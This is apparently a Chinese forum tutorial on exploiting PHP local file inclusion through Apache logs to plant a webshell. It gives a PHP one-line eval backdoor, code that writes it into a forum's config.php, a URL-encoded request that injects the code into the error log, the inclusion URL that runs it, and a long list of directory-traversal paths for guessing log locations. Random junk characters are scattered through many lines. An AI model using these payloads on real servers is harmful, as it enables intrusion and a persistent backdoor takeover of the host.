php包含apache日志写马

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因为上面那个很不实际，我在测试中发现日志动不动就是几十兆，那样玩起来也没意思了。下面想的再深入一点也就是我们写入一个很实际的webshell来用，也比上面那种慢的要死好很多。
% `5 A0 R0 C, j) H* ~! `4 e
' B; c+ R1 P5 }* T比如还是这句一句话木马
: _2 C9 s: j: d8 T9 |6 E; H$ @<?eval($_POST[cmd]);?>   
/ s5 `4 K+ Z" }' f" t! d, C
6 |( V# z+ T% q4 z& J到这里你也许就想到了，这是个很不错的办法。接着看,如何写入就成了个问题，用这句，
8 Y' u, {' j) ^& nfopen打开/home/virtual/www.xxx.com/forum/config.php这个文件，然后写入<?eval($_POST[cmd]);?>这个一句话木马服务端语句。连起来表达成php语句就是
& w7 w' ]" \6 X6 z- A# f4 `& x
* [2 i! ]6 f- n2 c9 N6 j0 ]<?$fp=fopen("/home/virtual/www.xxx.com/forum/config.php","w+");fputs($fp,"<?eval($_POST[cmd]);?>");
/ W/ d: c+ a/ n% yfclose($fp);?>   //在config.php里写入一句木马语句

我们提交这句，再让Apache记录到错误日志里，再包含就成功写入shell,记得一定要转换成URL格式才成功。
转换为
9 a/ I- i# E( b/ [  d%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww%2Exxx%2Ecom%2Fforum%2F
, t3 l! m, N3 Q- K# Z' n, S, ^3 fconfig%2Ephp%22%2C%22w%2B%22%29%3Bfputs%28%24fp
%2C%22%3C%3Feval%28%24%5FPOST%5Bcmd%5D%29%3B%3F%3E%22%29%3B
fclose%28%24fp%29%3B%3F%3E
我们提交
http://xxx.com/%3C%3F%24fp%3Dfopen%28%22%2Fhome%2Fvirtual%2Fwww
%2Exxx%2Ecom%2Fforum%2Fconfig%2Ephp
, F% G; {  Z% g+ S%22%2C%22w%2B%22%29%3Bfputs%28%24fp%2C%22%3C%3Feval%28%24%5FPOST%5B
) m9 u* Z0 Z; ?cmd%5D%29%3B%3F%3E%22%29%3Bfclose%28%24fp%29%3B%3F%3E

这样就错误日志里就记录下了这行写入webshell的代码。
我们再来包含日志，提交
http://xxx.com/z.php?zizzy=/home ... /logs/www-error_log
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这样webshell就写入成功了，config.php里就写入一句木马语句
1 z$ A9 U& l* e0 B/ N, ]OK.
4 j. `7 _; b) P- F! f8 rhttp://www.xxx.com/forum/config.php这个就成了我们的webshell
: U+ }* \! [5 ^  l8 l) s- K直接用lanker的客户端一连，主机就是你的了。

4 t2 {5 S. F" HPS:上面讲的，前提是文件夹权限必须可写 ，一定要-rwxrwxrwx(777)才能继续，这里直接用上面列出的目录来查看。上面讲的都是在知道日志路径的情况下的利用

其他的日志路径，你可以去猜，也可以参照这里。
../../../../../../../../../../var/log/httpd/access_log
../../../../../../../../../../var/log/httpd/error_log
8 s: }2 ^1 H- d9 I/ a/ P../apache/logs/error.log
- H* y3 A9 T' L../apache/logs/access.log
& `( M8 P- l% e) M../../apache/logs/error.log
9 |) R6 f/ F! l: v: W( s, T, E- A../../apache/logs/access.log
../../../apache/logs/error.log
../../../apache/logs/access.log
../../../../../../../../../../etc/httpd/logs/acces_log
: t. ^( S6 @( G: Z9 m../../../../../../../../../../etc/httpd/logs/acces.log
../../../../../../../../../../etc/httpd/logs/error_log
../../../../../../../../../../etc/httpd/logs/error.log
../../../../../../../../../../var/www/logs/access_log
' h( \. R0 W7 x  w- U% I0 @../../../../../../../../../../var/www/logs/access.log
../../../../../../../../../../usr/local/apache/logs/access_log
/ I  U4 T, s) ~/ v+ C( C* C../../../../../../../../../../usr/local/apache/logs/access.log
# V+ C! H7 I2 }9 k" W( `. c../../../../../../../../../../var/log/apache/access_log
../../../../../../../../../../var/log/apache/access.log
9 j2 E( p8 }! e../../../../../../../../../../var/log/access_log
% n. Z, z5 R5 ]../../../../../../../../../../var/www/logs/error_log
; F. h, P, J* p8 r6 K( Q" k../../../../../../../../../../var/www/logs/error.log
../../../../../../../../../../usr/local/apache/logs/error_log
../../../../../../../../../../usr/local/apache/logs/error.log
../../../../../../../../../../var/log/apache/error_log
" s8 {7 a8 u6 ?/ A../../../../../../../../../../var/log/apache/error.log
4 k! H, b6 Y. ^- h../../../../../../../../../../var/log/access_log
../../../../../../../../../../var/log/error_log
/var/log/httpd/access_log      
/var/log/httpd/error_log     
../apache/logs/error.log     
../apache/logs/access.log
../../apache/logs/error.log
; C- n' ^' [7 ?8 Z( J../../apache/logs/access.log
$ ]* s  L/ [1 G1 D* H5 I5 d../../../apache/logs/error.log
4 b- J9 E5 ]# r1 i# ]4 G../../../apache/logs/access.log
; j; H2 U& x$ C' D2 T/etc/httpd/logs/acces_log
) C! Z6 J. {4 n  ]1 f0 m/etc/httpd/logs/acces.log
. j. h: z; @) F! ], w3 ^/etc/httpd/logs/error_log
3 u" ~- ]0 j$ u+ R0 S$ M/etc/httpd/logs/error.log
/var/www/logs/access_log
' U# n' m/ T; }! i( k$ t2 A/var/www/logs/access.log
/usr/local/apache/logs/access_log
/usr/local/apache/logs/access.log
$ W. i* M# [! a; H, ^/var/log/apache/access_log
/var/log/apache/access.log
/var/log/access_log
: v  K. q: H# C& ^/var/www/logs/error_log
+ P2 D% U7 v/ {& o# I& e* ^/var/www/logs/error.log
/usr/local/apache/logs/error_log
; W: y2 S! v9 b% M/usr/local/apache/logs/error.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/access_log
2 v: [- i7 M- }. `/var/log/error_log